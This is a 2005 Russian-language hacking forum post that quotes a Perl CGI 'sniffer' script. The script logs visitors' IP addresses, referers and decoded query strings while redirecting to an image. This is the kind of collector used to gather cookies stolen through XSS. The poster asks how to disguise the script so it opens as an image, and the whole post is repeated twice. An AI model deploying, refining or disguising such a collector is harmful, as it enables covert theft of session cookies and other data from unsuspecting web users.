Майор
13.01.2005, 02:23
Здесь на античате привидён пример сниффера :
#!/usr/bin/perl
#путь к лог-файлу
$LogFile="log.txt";
#максимальное число записей в лог-файле
$mlength=50;
#делаем редирект на картинку
print "Location: image.gif\n\n";
#читаем CGI запрос
read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
#получаем время запроса и HTTP_REFERER
$now_string = localtime;
$ref = $ENV{'HTTP_REFERER'};
#читаем лог-файл в массив
open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
@LOGtext=<LOG>;
close (LOG);
#открываем на запись лог
open (LOG, ">$LogFile");
#сохраняем данные запроса
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";
#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
$counter=1;
foreach $LOGitem (@LOGtext)
{
if ($counter<$mlength){ print LOG "$LOGitem"; };
$counter++;
};
#закрываем лог
close (LOG);
exit;
Он работает, но только если к нему обрашаться, как http://adres.ru/snifer.cgi
Как зделать, так чтоб его можно было открывать как картинку ???
#!/usr/bin/perl
#путь к лог-файлу
$LogFile="log.txt";
#максимальное число записей в лог-файле
$mlength=50;
#делаем редирект на картинку
print "Location: image.gif\n\n";
#читаем CGI запрос
read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
#получаем время запроса и HTTP_REFERER
$now_string = localtime;
$ref = $ENV{'HTTP_REFERER'};
#читаем лог-файл в массив
open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
@LOGtext=<LOG>;
close (LOG);
#открываем на запись лог
open (LOG, ">$LogFile");
#сохраняем данные запроса
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";
#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
$counter=1;
foreach $LOGitem (@LOGtext)
{
if ($counter<$mlength){ print LOG "$LOGitem"; };
$counter++;
};
#закрываем лог
close (LOG);
exit;
Он работает, но только если к нему обрашаться, как http://adres.ru/snifer.cgi
Как зделать, так чтоб его можно было открывать как картинку ???